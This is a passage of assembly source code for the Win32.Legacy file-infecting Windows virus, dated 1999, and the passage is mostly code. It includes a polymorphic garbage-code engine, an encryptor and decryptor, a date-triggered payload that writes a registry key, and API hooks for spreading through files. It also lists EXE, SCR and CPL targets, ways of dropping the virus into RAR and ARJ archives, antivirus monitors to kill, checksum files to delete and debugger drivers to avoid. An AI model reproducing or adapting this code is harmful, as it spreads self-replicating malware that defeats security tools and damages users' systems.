	call    @@gip_IncIt                     ; INC reg_ptr
	jmp     @@gip_@@2_EXIT
@@gip_@@3_@@2:
	mov     bl,2                            ; INC reg_ptr
	call    @@gip_IncIt                     ; INC reg_ptr

	call    @@gen_garbage

	mov     bl,2                            ; ADD reg_ptr,2
	call    @@gip_AddIt
	jmp     @@gip_@@2_EXIT

@@gip_@@4:
	mov     eax,2
	call    r_range
	xchg    eax,ecx
	jecxz   @@gip_@@4_@@2
@@gip_@@4_@@1:
	mov     bl,1                            ; ADD reg_ptr,1
	call    @@gip_AddIt                     ; INC reg_ptr

	call    @@gen_garbage

	mov     bl,3                            ; INC reg_ptr
	call    @@gip_IncIt                     ; INC reg_ptr
	jmp     @@gip_@@2_EXIT
@@gip_@@4_@@2:
	mov     bl,1                            ; INC reg_ptr
	call    @@gip_IncIt                     ; INC reg_ptr

	call    @@gen_garbage

	mov     bl,3                            ; INC reg_ptr
	call    @@gip_AddIt                     ; ADD reg_ptr,1
	jmp     @@gip_@@2_EXIT

@@gip_@@5:                                      ; INC reg_ptr
	mov     bl,4                            ; INC reg_ptr
	call    @@gip_IncIt                     ; INC reg_ptr
						; INC reg_ptr

@@gip_EXIT:
	or      word ptr [ebp+@@flags],_INCPOINTER
	ret

@@gip_AddIt:
	mov     al,83h
	stosb
	mov     al,byte ptr [ebp+@@reg_ptr2data]
	or      al,11000000b
	stosb
	mov     al,bl
	stosb
	ret

@@gip_IncIt:
	movzx   ecx,bl
	mov     al,40h
	add     al,byte ptr [ebp+@@reg_ptr2data]
@@gip_II_Loop:
	stosb
	push    ecx eax
	call    @@gen_garbage
	pop     eax ecx
	loop    @@gip_II_Loop
	ret

; Generate the code that will decrease in one unit the counter

@@gen_deccounter:
	mov     eax,3
	call    r_range
	xchg    eax,ecx
	jecxz   @@gdc_@@2
	dec     ecx
	jecxz   @@gdc_@@3
@@gdc_@@1:
	mov     al,83h                          ; SUB reg_size,1
	stosb
	mov     al,byte ptr [ebp+@@reg_counter]
	or      al,11101000b
	stosb
	mov     al,1
	stosb
	jmp     @@gdc_EXIT
@@gdc_@@2:
	mov     al,48h                          ; DEC reg_size
	add     al,byte ptr [ebp+@@reg_counter]
	stosb
	jmp     @@gdc_EXIT
@@gdc_@@3:
	mov     al,83h                          ; ADD reg_size,-1
	stosb
	mov     al,byte ptr [ebp+@@reg_counter]
	or      al,11000000b
	stosb
	mov     al,0FFh
	stosb
@@gdc_EXIT:
	or      word ptr [ebp+@@flags],_DECCOUNTER
	ret

; Generate the loop-alike thingy

@@gen_loop:
	mov     eax,04h
	call    r_range
	or      eax,eax
	jz      @@gl_@@3
	dec     eax
	jz      @@gl_@@2
	dec     eax
	jz      @@gl_@@1
@@gl_@@0:
	mov     al,83h                          ; CMP reg_size,00h
	stosb
	movzx   eax,byte ptr [ebp+@@reg_counter]
	or      al,11111000b
	stosb
	xor     eax,eax
	stosb
	jmp     @@gl_dojnz
@@gl_@@1:
	mov     al,83h                          ; CMP reg_size,-1
	stosb
	movzx   eax,byte ptr [ebp+@@reg_counter]
	or      al,11111000b
	stosb
	xor     eax,eax
	dec     eax
	stosb
	mov     eax,dword ptr [ebp+@@size_address]
	dec     dword ptr [eax]
	jmp     @@gl_dojnz
@@gl_@@2:
	mov     al,0Bh                          ; OR reg_size,reg_size
	stosb
	movzx   eax,byte ptr [ebp+@@reg_counter]
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_counter]
	or      al,11000000b
	stosb       
	jmp     @@gl_dojnz
@@gl_@@3:
	mov     al,85h
	stosb
	movzx   eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_counter]
	or      al,11000000b
	stosb
	mov     eax,dword ptr [ebp+@@size_address]
	dec     dword ptr [eax]
@@gl_dojnz:
	mov     ax,850Fh                        ; JNZ LOOP_ADDRESS
	stosw
	mov     eax,dword ptr [ebp+@@l00paddress]
	sub     eax,edi
	sub     eax,00000004h
	stosd
	or      word ptr [ebp+@@flags],_LOOP
	ret

; --- Garbage generator's table

@@gbgtbl        label   byte
	dd      offset (@@do_anything)  ; Oh, my lazy engine! :)
	dd      offset (@@gen_arithmetic_reg32_reg32)
	dd      offset (@@gen_arithmetic_reg32_imm32)
	dd      offset (@@gen_arithmetic_eax_imm32)
	dd      offset (@@gen_mov_reg32_imm32)
	dd      offset (@@gen_mov_reg8_imm8)
	dd      offset (@@gen_call_to_subroutine)
	dd      offset (@@gen_push_garbage_pop)
	dd      offset (@@gen_zer0_reg)
	dd      offset (@@gen_arithmetic_reg32_reg32)
	dd      offset (@@gen_arithmetic_reg32_imm32)
	dd      offset (@@gen_arithmetic_eax_imm32)
	dd      offset (@@gen_mov_reg32_imm32)
	dd      offset (@@gen_mov_reg8_imm8)
@@non_mmx_gbg   equ     (($-offset @@gbgtbl)/4)
; MMX Garbage generatorz
	dd      offset (@@gen_onebyter) ; For security, it's here
	dd      offset (@@gen_mmx_group1)
	dd      offset (@@gen_mmx_group2)
	dd      offset (@@gen_mmx_group3)
	dd      offset (@@gen_mmx_movq_mm?_mm?)
	dd      offset (@@gen_mmx_movd_mm?_reg32)
@@s_gbgtbl      equ     (($-offset @@gbgtbl)/4)

; MMX version

@@after_looptbl label   byte
	dd      offset (@@gen_passptr2mmx)        ;\
	dd      offset (@@gen_crypt_instructions) ; >- Must follow this order
	dd      offset (@@gen_passmmx2ptr)        ;/
	dd      offset (@@gen_incpointer_deccounter)
	dd      offset (@@gen_loop)
@@s_aftlooptbl  equ     (($-offset @@after_looptbl)/4)

; Non MMX version

@@after_l00ptbl label   byte
	dd      offset (@@gen_non_mmx_crypt_instructions)
	dd      offset (@@gen_incpointer_deccounter)
	dd      offset (@@gen_loop)
@@s_aftl00ptbl  equ     (($-offset @@after_l00ptbl)/4)

mmxe_end        label   byte
mmxe            endp

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; Random procedures 
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; RANDOM
;
; input:
;       Nothing.
; output:
;       EAX = Random number
;

random          proc                            ; Thanx MDriller! ;)
	push    ecx
	mov     eax,dword ptr [ebp+rnd_seed1]
	dec     dword ptr [ebp+rnd_seed1]
	xor     eax,dword ptr [ebp+rnd_seed2]
	mov     ecx,eax
	rol     dword ptr [ebp+rnd_seed1],cl
	add     dword ptr [ebp+rnd_seed2],eax
	adc     eax,dword ptr [ebp+rnd_seed2]
	add     eax,ecx
	ror     eax,cl
	not     eax
	sub     eax,3
	xor     dword ptr [ebp+rnd_seed2],eax
	xor     eax,dword ptr [ebp+rnd_seed3]
	rol     dword ptr [ebp+rnd_seed3],1
	sub     dword ptr [ebp+rnd_seed3],ecx
	sbb     dword ptr [ebp+rnd_seed3],4
	inc     dword ptr [ebp+rnd_seed2]
	pop     ecx
	ret
random          endp

; R_RANGE
;
; input:
;       EAX = Number of possible random numbers
; output:
;       EAX = Number between 0 and (EAX-1)

r_range         proc
	push    ecx
	push    edx
	mov     ecx,eax
	call    random
	xor     edx,edx
	div     ecx
	mov     eax,edx
	pop     edx
	pop     ecx
	ret
r_range         endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Dropper unpacker (22 bytes)                                            ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;
; Even more optimized version of the one in Win32.Thorin!
;
; ???     ??????? ??????? ??????? 
; ? ?     ? ????? ? ????? ? ????? The Little and Shitty Compression Engine
; ? ????? ????? ? ? ????? ? ????? Poorly coded and written by...
; ??????? ??????? ??????? ??????? Who cares? :) Well... by me. Any problem?
;
; This is a very simple packing engine, based in the repetition of zeros that
; the PE  files have, thus it is  able to compress a PE file... Hehehe, i can
; put a dropper without caring about  its space! That was  the only reason of
; make this little shit. Maybe one day i will make a 'real' compression engi-
; ne, but today i'm too busy :)
;
; input:
;        EDI = Offset where unpack
;        ESI = Data to unpack
;        ECX = Size of packed data
; output:
;        Nothing.
;

LSCE_UnPack     proc
	lodsb                                   ; 1 byte        Whoa! I've
	or      al,al                           ; 2 bytes       optimized some
	jnz     store_byte                      ; 2 bytes       more bytes,
	dec     ecx                             ; 1 byte        and Super only
	dec     ecx                             ; 1 byte        helped me with
	lodsw                                   ; 2 bytes       one! I've done
	cwde                                    ; 1 byte        the rest! :)
	push    ecx                             ; 1 byte
	xor     ecx,ecx                         ; 2 bytes
	xchg    eax,ecx                         ; 1 byte
	rep     stosb                           ; 2 bytes
	pop     ecx                             ; 1 byte
	test    al,00h                          ; 1 byte
	org     $-1
store_byte:
	stosb                                   ; 1 byte
	loop    LSCE_UnPack                     ; 2 bytes
	ret                                     ; 1 bytes
LSCE_UnPack     endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| [iENC] - Internal ENCryptor engine v1.00                               ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;
; iENC_encrypt
;
; input:
;       ESI = Pointer to iENC structure
;       EDI = Pointer to where virus will be appended
; output:
;       Nothing
;

iENC_encrypt    proc
	lodsw
	cwde

	xchg    eax,ecx

	lodsw
	cwde

	add     eax,edi

	xchg    eax,edx

	call    random

iENC_encl00p:
	xor     byte ptr [edx],al
	inc     edx
	loop    iENC_encl00p

	cmp     byte ptr [esi],Billy_Bel
	jnz     iENC_encrypt

	ret
iENC_encrypt    endp

	db      00h,"[iENC v1.00]",00h

; iENC_decrypt
;
; input:
;       Nothing.
; output:
;       Nothing.
;

iENC_decrypt    proc
	pushad                                  ; Save all registers
	pushfd                                  ; Save flags

	mov     eax,[esp+24h]                   ; EAX = Return address
	mov     ebx,[eax]                       ; EBX = CRC32
	mov     ecx,[eax+04h]                   ; EAX = Size of block
	add     eax,08h                         ; EAX = Ptr to block

	cdq                                     ; EDX = 0
iENC_l00p:
	pushad                                  ; Preserve all registers
	push    eax ecx
iENC_subl00p:
	xor     byte ptr [eax],dl               ; XOR a byte
	inc     eax                             ; Point to next one
	loop    iENC_subl00p                    ; And try it too
	pop     edi esi
	call    CRC32                           ; Do the CRC's match?
	cmp     eax,ebx
	popad
	jz      iENC_Ok                         ; If so, all is ok.
	pushad
iENC_subl00p2:
	xor     byte ptr [eax],dl               ; Reencrypt: doesn't match
	inc     eax
	loop    iENC_subl00p2       
	popad
	inc     edx                             ; Try with another key
	jmp     iENC_l00p

iENC_Ok:
	popfd                                   ; Restore flags
	popad                                   ; Restore registers
	add     dword ptr [esp],08h             ; Fix return address
	ret                                     ; Pffff!
iENC_decrypt    endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Virus payload                                                          ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

payload         proc

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock13-Block13

Block13 label   byte

	lea     eax,[ebp+SYSTEMTIME]            ; Get day, month, etc
	push    eax
	apicall _GetSystemTime

	cmp     word ptr [ebp+ST_wMonth],nMonth ; Is July?
	jnz     no_payload
						 
	cmp     word ptr [ebp+ST_wDay],nDay     ; Is 31?
	jnz     no_payload

	push    00001000h                       ; Kewl! Show copyrightz msgs
	lea     ebx,[ebp+szTtl]
	push    ebx
	lea     ebx,[ebp+szMsg]
	push    ebx
	push    00000000h
	apicall _MessageBoxA

	lea     eax,[ebp+Disposition]           ; Make a little trick for the
	push    eax                             ; Explorer...
	lea     eax,[ebp+RegHandle]
	push    eax
	xor     eax,eax
	push    eax
	push    000F003Fh
	push    eax
	push    eax
	push    eax
	pushs   "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"
	push    80000001h
	apicall _RegCreateKeyExA

	push    13d
	call    over_ttl
szTtl   db      "[Win32.Legacy."
	IF      DEBUG
	db      "debug."
	ENDIF
	vsize
	db      " v1.00]",0
over_ttl:
	push    01h
	push    00h
	pushs   "DisplayName"
	push    dword ptr [ebp+RegHandle]
	apicall _RegSetValueExA

	push    dword ptr [ebp+RegHandle]
	apicall _CloseHandle
no_payload:
	ret
payload         endp

szMsg   db      "Welcolme to the Win32.Legacy payload. You are infected by a virus,",10
	db      "i am your worst nightmare... But BEWARE! Your organism is also ",10
	db      "infected. So go to the doctor and ask him for a cure for this...",10,10
	; Since here, the message is a bullshit :)
	db      "Featuring:",10
	db      09,"MultiMedia eXtensions Engine [MMXE v1.01]",10
	db      09,"Polymorphic Header Idiot Random Engine [PHIRE v1.00]",10
	db      09,"Internal ENCryptor technology [iENC v1.00]",10
	db      10,"Greetings:",10
	db      09,"StarZer0/iKX & Int13h -> Thanx for information about archives",10
	db      09,"Murkry/iKX -> Thanx for 'Win95 Structures & Secrets' article",10
	db      09,"zAxOn/DDT -> Thanx for getting me into ASM",10
	db      09,"Benny/29A -> Thanx for information about threads",10
	db      09,"The Mental Driller/29A -> Thanx for polymorphy ideas",10
	db      09,"Super/29A -> Thanx for optimization knowledge & opcode list",10
	db      09,"Wintermute -> Thanx for emulation ideas",10
	db      09,"Ypsilon -> Thanx for NT information & cool ideas",10
	db      10,"I don't like the drugs...",10
	db      09,"But the drugs like me!",10,10
	db      "(c) 1999 Billy Belcebu/iKX",09,09,"< billy_belcebu@mixmail.com >",0

eBlock13 label  byte

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Data                                                                   ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

		IF      DEBUG
SEARCH_MASK             db      "GOAT???."
		ELSE
SEARCH_MASK             db      "*."
		ENDIF

EXTENSION               dd      00000000h

Extensions_Table        label   byte
			db      "EXE",0
			db      "SCR",0
			db      "CPL",0
			db      "RAR",0
			db      "ARJ",0
nExtensions             equ     (($-offset Extensions_Table)/4)

ThreadsTable            label   byte
			dd      offset (ThrKillMonitors)
			dd      offset (ThrAntiDebugger)
			dd      offset (ThrDeleteCRC)
			dd      offset (ThrPerProcess)
			dd      offset (ThrPrepareInf)
			dd      offset (ThrInfectFiles)
nThreads                equ     (($-offset ThreadsTable)/4)

Monitors2Kill           label   byte
			db      "AVP Monitor",0
			db      "Amon Antivirus Monitor",0
			db      Billy_Bel

Files2Kill              label   byte
			db      "ANTI-VIR.DAT",0
			db      "CHKLIST.DAT",0
			db      "CHKLIST.TAV",0
			db      "CHKLIST.MS",0
			db      "CHKLIST.CPS",0
			db      "AVP.CRC",0
			db      "IVB.NTZ",0
			db      "SMARTCHK.MS",0
			db      "SMARTCHK.CPS",0
			db      Billy_Bel

Drivers2Avoid           label   byte
			db      "\\.\SICE",0
			db      "\\.\NTICE",0
			db      Billy_Bel

; iENC structure
; ??????????????
;       +00h    Size of block
;       +02h    Offset of block - offset of virus start

iENC_struc              label   byte
			dw      offset (eBlock1-Block1)
			dw      offset (Block1-virus_start)

			dw      offset (eBlock2-Block2)
			dw      offset (Block2-virus_start)

			dw      offset (eBlock3-Block3)
			dw      offset (Block3-virus_start)

			dw      offset (eBlock4-Block4)
			dw      offset (Block4-virus_start)

			dw      offset (eBlock5-Block5)
			dw      offset (Block5-virus_start)

			dw      offset (eBlock6-Block6)
			dw      offset (Block6-virus_start)

			dw      offset (eBlock7-Block7)
			dw      offset (Block7-virus_start)

			dw      offset (eBlock8-Block8)
			dw      offset (Block8-virus_start)

			dw      offset (eBlock9-Block9)
			dw      offset (Block9-virus_start)

			dw      offset (eBlockA-BlockA)
			dw      offset (BlockA-virus_start)

			dw      offset (eBlockB-BlockB)
			dw      offset (BlockB-virus_start)

			dw      offset (eBlockC-BlockC)
			dw      offset (BlockC-virus_start)

			dw      offset (eBlockD-BlockD)
			dw      offset (BlockD-virus_start)

			dw      offset (eBlockE-BlockE)
			dw      offset (BlockE-virus_start)

			dw      offset (eBlockF-BlockF)
			dw      offset (BlockF-virus_start)

			dw      offset (eBlock10-Block10)
			dw      offset (Block10-virus_start)

			dw      offset (eBlock11-Block11)
			dw      offset (Block11-virus_start)

			dw      offset (eBlock12-Block12)
			dw      offset (Block12-virus_start)

			dw      offset (eBlock13-Block13)
			dw      offset (Block13-virus_start)

n_iENC_blocks           equ     (($-offset iENC_struc)/4)

			db      Billy_Bel

@@Hookz                 label   byte

; @@Hookz structure
; ?????????????????
;       +00h    API CRC32
;       +04h    Address of the new handler for that API
;       +08h    The address of the original API

			dd      02308923Fh
			dd      offset (HookMoveFileA)
hMoveFileA:             dd      000000000h

			dd      05BD05DB1h
			dd      offset (HookCopyFileA)
hCopyFileA:             dd      000000000h

			dd      08F48B20Dh
			dd      offset (HookGetFullPathNameA)
hGetFullPathNameA:      dd      000000000h

			dd      0DE256FDEh
			dd      offset (HookDeleteFileA)
hDeleteFileA:           dd      000000000h

			dd      028452C4Fh
			dd      offset (HookWinExec)
hWinExec:               dd      000000000h

			dd      0267E0B05h
			dd      offset (HookCreateProcessA)
hCreateProcessA:        dd      000000000h

			dd      08C892DDFh
			dd      offset (HookCreateFileA)
hCreateFileA:           dd      000000000h

			dd      0C633D3DEh
			dd      offset (HookGetFileAttributesA)
hGetFileAttributesA:    dd      000000000h

			dd      03C19E536h
			dd      offset (HookSetFileAttributesA)
hSetFileAttributesA:    dd      000000000h

			dd      0F2F886E3h
			dd      offset (Hook_lopen)
h_lopen:                dd      000000000h

			dd      03BE43958h
			dd      offset (HookMoveFileExA)
hMoveFileExA:           dd      000000000h

			dd      0953F2B64h
			dd      offset (HookCopyFileExA)
hCopyFileExA:           dd      000000000h

			dd      068D8FC46h
			dd      offset (HookOpenFile)
hOpenFile               dd      000000000h

			dd      0FFC97C1Fh
			dd      offset (HookGetProcAddress)
hGetProcAddress:        dd      000000000h

			dd      0AE17EBEFh
			dd      offset (HookFindFirstFileA)
hFindFirstFileA:        dd      000000000h

			dd      0AA700106h
			dd      offset (HookFindNextFileA)
hFindNextFileA:         dd      000000000h

nHookedAPIs             equ     ((($-offset @@Hookz)/4)/3)

			db      Billy_Bel

@@NamezCRC32            label   byte
@FindFirstFileA         dd      0AE17EBEFh
@FindNextFileA          dd      0AA700106h
@FindClose              dd      0C200BE21h
@CreateFileA            dd      08C892DDFh
@DeleteFileA            dd      0DE256FDEh
@SetFilePointer         dd      085859D42h
@SetFileAttributesA     dd      03C19E536h
@CloseHandle            dd      068624A9Dh
@GetCurrentDirectoryA   dd      0EBC6C18Bh
@SetCurrentDirectoryA   dd      0B2DBD7DCh
@GetWindowsDirectoryA   dd      0FE248274h
@GetSystemDirectoryA    dd      0593AE7CEh
@CreateFileMappingA     dd      096B2D96Ch
@MapViewOfFile          dd      0797B49ECh
@UnmapViewOfFile        dd      094524B42h
@SetEndOfFile           dd      059994ED6h
@GetProcAddress         dd      0FFC97C1Fh
@LoadLibraryA           dd      04134D1ADh
@GetSystemTime          dd      075B7EBE8h
@CreateThread           dd      019F33607h
@WaitForSingleObject    dd      0D4540229h
@ExitThread             dd      0058F9201h
@GetTickCount           dd      0613FD7BAh
@FreeLibrary            dd      0AFDF191Fh
@WriteFile              dd      021777793h
@GlobalAlloc            dd      083A353C3h
@GlobalFree             dd      05CDF6B6Ah
@GetFileSize            dd      0EF7D811Bh
@GetFileAttributesA     dd      0C633D3DEh
@ReadFile               dd      054D8615Ah
@GetCurrentProcess      dd      003690E66h
@GetPriorityClass       dd      0A7D0D775h
@SetPriorityClass       dd      0C38969C7h
			db      Billy_Bel
@FindWindowA            dd      085AB3323h
@PostMessageA           dd      086678A04h
@MessageBoxA            dd      0D8556CF7h
			db      Billy_Bel
@RegCreateKeyExA        dd      02C822198h
@RegSetValueExA         dd      05B9EC9C6h
			db      Billy_Bel

; --- RAR Header

RARHeader               label   byte
RARHeaderCRC            dw      0000h
RARType                 db      74h
RARFlags                dw      8000h
RARHeadsize             dw      sRARHeaderSize
RARCompressed           dd      00000000h
RAROriginal             dd      00000000h
RAROs                   db      00h
RARCrc32                dd      00000000h
RARFileTime             dw      archive_mark
RARFileDate             db      31h,24h
RARNeedVer              db      14h
RARMethod               db      30h
RARFnameSize            dw      sRARNameSize
RARAttrib               dd      00000000h
RARName                 db      "LEGACY.EXE"
sRARHeaderSize          equ     ($-offset RARHeader)
sRARNameSize            equ     ($-offset RARName)

; --- ARJ Header

ARJHeader               label   byte
ARJSig                  db      60h,0EAh
ARJHeadsiz              dw      2Ah
ARJHSmsize              db      1Eh
ARJVer                  db      07h
ARJMin                  db      01h
ARJHost                 db      00h
ARJFlags                db      10h
ARJMethod               db      00h
ARJFiletype             db      00h
ARJReserved             db      "Z"
ARJFileTime             dw      archive_mark
ARJFileDate             db      031h,024h
ARJCompress             dd      00000000h
ARJOriginal             dd      00000000h
ARJCRC32                dd      00000000h
ARJEntryName            dw      0000h
ARJAttribute            dw      0000h
ARJHostData             dw      0000h

sARJHeader              equ     ($-offset ARJHeader)

ARJSecondSide           label   byte
ARJFilename             db      "LEGACY.EXE",0
ARJComment              db      00h
sARJCRC32Size           equ     ($-offset ARJHSmsize)
ARJHeaderCRC            dd      00000000h
ARJExtended             dw      0000h

sARJSecondSide          equ     ($-offset ARJSecondSide)
sARJTotalSize           equ     ($-offset ARJSig)

ArchiveBuffer           db      50d dup (00h)

OldBytes                db      pLIMIT dup (00h)
NewBytes                db      pLIMIT dup (00h)

K32_DLL                 db      "KERNEL32.dll",0
K32_Size                equ     ($-offset K32_DLL)

kernel                  dd      00000000h
user32                  dd      00000000h
TmpModuleBase           dd      00000000h
TempGA_IT1              dd      00000000h
imagebase               equ     ModBase
TempGA_IT2              dd      00000000h
infections              dd      00000000h
iobytes                 dd      02h dup (00h)
NewSize                 dd      00000000h
InfDropperSize          dd      00000000h
ArchiveSize             dd      00000000h
NumBytesRead            dd      00000000h
SearchHandle            dd      00000000h
FileHandle              dd      00000000h
RegHandle               dd      00000000h
GlobalAllocHandle       dd      00000000h
GlobalAllocHandle2      dd      00000000h
GlobalAllocHandle3      dd      00000000h
MapHandle               dd      00000000h
MapAddress              dd      00000000h
AddressTableVA          dd      00000000h
NameTableVA             dd      00000000h
OrdinalTableVA          dd      00000000h
lpThreadId              dd      00000000h
Disposition             dd      00000000h
WFD_HndInMem            dd      00000000h
Counter                 dw      0000h
WFD_Handles_Count       db      00h
SoftICE                 db      00h

; --- MMXE data

random_seed             label   byte
rnd_seed1               dd      00000000h
rnd_seed2               dd      00000000h
rnd_seed3               dd      00000000h
			dd      00000000h

; Registers used (MMXE & PHIRE)

@@reg_mask              db      00h
@@reg_key               db      00h
@@reg_counter           db      00h

@@reg_ptr2data          db      00h
@@reg_aux1              equ     $-1
@@reg_delta             db      00h
@@reg_aux2              equ     $-1

@@mmx_ptr2data          db      00h
@@mmx_key               db      00h

@@init_mmx?             db      00h

@@ptr_data2enc          dd      00000000h
@@ptr_buffer            dd      00000000h
@@size2enc              dd      00000000h
@@size2cryptd4          dd      00000000h
@@tmp_call              dd      00000000h
@@p_tmp_call            equ     $-4
@@fix1                  dd      00000000h
@@fix2                  dd      00000000h
@@enc_key               dd      00000000h
@@l00paddress           dd      00000000h
@@size_address          dd      00000000h
@@ptrto2nd              dd      00000000h
@@flags                 dw      0000h
@@recursion             db      00h

; --- PHIRE data

@@p_distance            dd      00000000h
@@p_buffer              dd      00000000h

; --- More virus data

@@Offsetz               label   byte
_FindFirstFileA         dd      00000000h
_FindNextFileA          dd      00000000h
_FindClose              dd      00000000h
_CreateFileA            dd      00000000h
_DeleteFileA            dd      00000000h
_SetFilePointer         dd      00000000h
_SetFileAttributesA     dd      00000000h
_CloseHandle            dd      00000000h
_GetCurrentDirectoryA   dd      00000000h
_SetCurrentDirectoryA   dd      00000000h
_GetWindowsDirectoryA   dd      00000000h
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile          dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile           dd      00000000h
_GetProcAddress         dd      00000000h
_LoadLibraryA           dd      00000000h
_GetSystemTime          dd      00000000h
_CreateThread           dd      00000000h
_WaitForSingleObject    dd      00000000h
_ExitThread             dd      00000000h
_GetTickCount           dd      00000000h
_FreeLibrary            dd      00000000h
_WriteFile              dd      00000000h
_GlobalAlloc            dd      00000000h
_GlobalFree             dd      00000000h
_GetFileSize            dd      00000000h
_GetFileAttributesA     dd      00000000h
_ReadFile               dd      00000000h
_GetCurrentProcess      dd      00000000h
_GetPriorityClass       dd      00000000h
_SetPriorityClass       dd      00000000h

@@OffsetzUSER32         label   byte
_FindWindowA            dd      00000000h
_PostMessageA           dd      00000000h
_MessageBoxA            dd      00000000h

@@OffsetzADVAPI32       label   byte
_RegCreateKeyExA        dd      00000000h
_RegSetValueExA         dd      00000000h

MAX_PATH                equ     260

FILETIME                STRUC
FT_dwLowDateTime        dd      ?
FT_dwHighDateTime       dd      ?
FILETIME                ENDS

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
			db      03 dup (?)

TMP_szFileName          db      MAX_PATH dup (?)

directories             label   byte

WindowsDir              db      7Fh dup (00h)
SystemDir               db      7Fh dup (00h)
OriginDir               db      7Fh dup (00h)
dirs2inf                equ     (($-directories)/7Fh)
mirrormirror            db      dirs2inf

SYSTEMTIME              label   byte
ST_wYear                dw      ?
ST_wMonth               dw      ?
ST_wDayOfWeek           dw      ?
ST_wDay                 dw      ?
ST_wHour                dw      ?
ST_wMinute              dw      ?
ST_wSecond              dw      ?
ST_wMilliseconds        dw      ?

		align   dword

virus_end       label   byte

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| 1st generation host                                                    ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;
; Nadie combate la libertad. A lo m s, combate la libertad de los dem s. La
; libertad ha existido siempre, pero unas veces como privilegio de algunos,
; otras veces como derecho de todos. (Karl Marx)

fakehost:
	pop     dword ptr fs:[0]
	pop     eax
	popad
	popad

	push    00h                             ; Hiya Vecna! Cocaine rules!
	push    offset szMessage                ; Even its 1st gen host! ;)
	IF      DEBUG
	pushs   "Win32.Legacy.debug#Legacy [debug mode] v1.00"
	ELSE
	pushs   "Win32.Legacy#Legacy v1.00"
	ENDIF
	push    00h
	call    ShellAboutA

	push    00h
	call    ExitProcess

end     legacy1

; ===========================================================================
; || Bonus track                                                           ||
; ===========================================================================
;
; As this virus is my  favourite one, i will put  here  my favourite  song :)
; It's a song from the last album of Blind Guardian (www.blind-guardian.com),
; based  in  the book  The  Silmarillion (J.R.R. Tolkien). The  album (called
; "Nightfall in  the  Middle-Earth"), is the  most complete (and probably the
; best one) of Blind  Guardian. Even the mixers  of the album are very famous
; in the  metal world: Flemming Rasmussen (see other B.G. albums as "Imagina-
; tions from the other side", also Metallica's "...And Justice For All", etc)
; Piet Sielck (some songs of B.G. version's album "The forgotten tales", also
; vocalist/producer of his parallel project Iron Savior (albums "Iron Savior"
; and "Unification"), and  produced  also other  bands  as GammaRay, etc) and
; Charlie Bauerfeind. Well, here comes the song.
;
; - Mirror Mirror -
;
; Far, far beyond the island
; We dwelt the shades of twilight
; Through dread and weary days
; Through grief and endless pain
;
; It lies unknown
; The land of mine
; A hidden gate
; To save us from the shadow fall
;
; The lord of water spoke
; In the silence
; Words of wisdom
; I've seen the end of all
; Be aware, the storm gets closer
;
; chorus:
; Mirror Mirror on the wall
: True hope lies beyond the coast
; You're a damned kind can't you see
; That the winds will change
; Mirror Mirror on the wall
: True hope lies beyond the coast
; You're a damned kind can't you see
; That tomorrow bears insanity
;
; Gone's the wisdom
; Of a thousand years
; A world in fire and chains and fear
; Leads me to a place so far
; Deep down it lies my secret vision
; I better keep it safe
;
; Sall i leave my frinds alone
; Hidden in my twilight hall
; (I) know the world is lost in fire
; Sure there is no way to turn it
; Back to the old days
; Of bliss and cheerful laughter
; We're lost in barren lands
; Caught in the running flames
; Alone
;
; How shall we leave the lost road
; Time's getting short so follow me
; A leader's task so clearly
; To find a path out of the dark
;
; (chorus)
;
; Even though
; The storm calmed down
; The bitter end
; Is just a matter of time
;
; Shall we dare the dragon
; Mercyless he's poisoning our hearts
; Our hearts
;
; How...
; (chorus)
; 
; ---
; Copyright (c) 1998 by Blind Guardian; "Nightfall in the Middle-Earth" album
;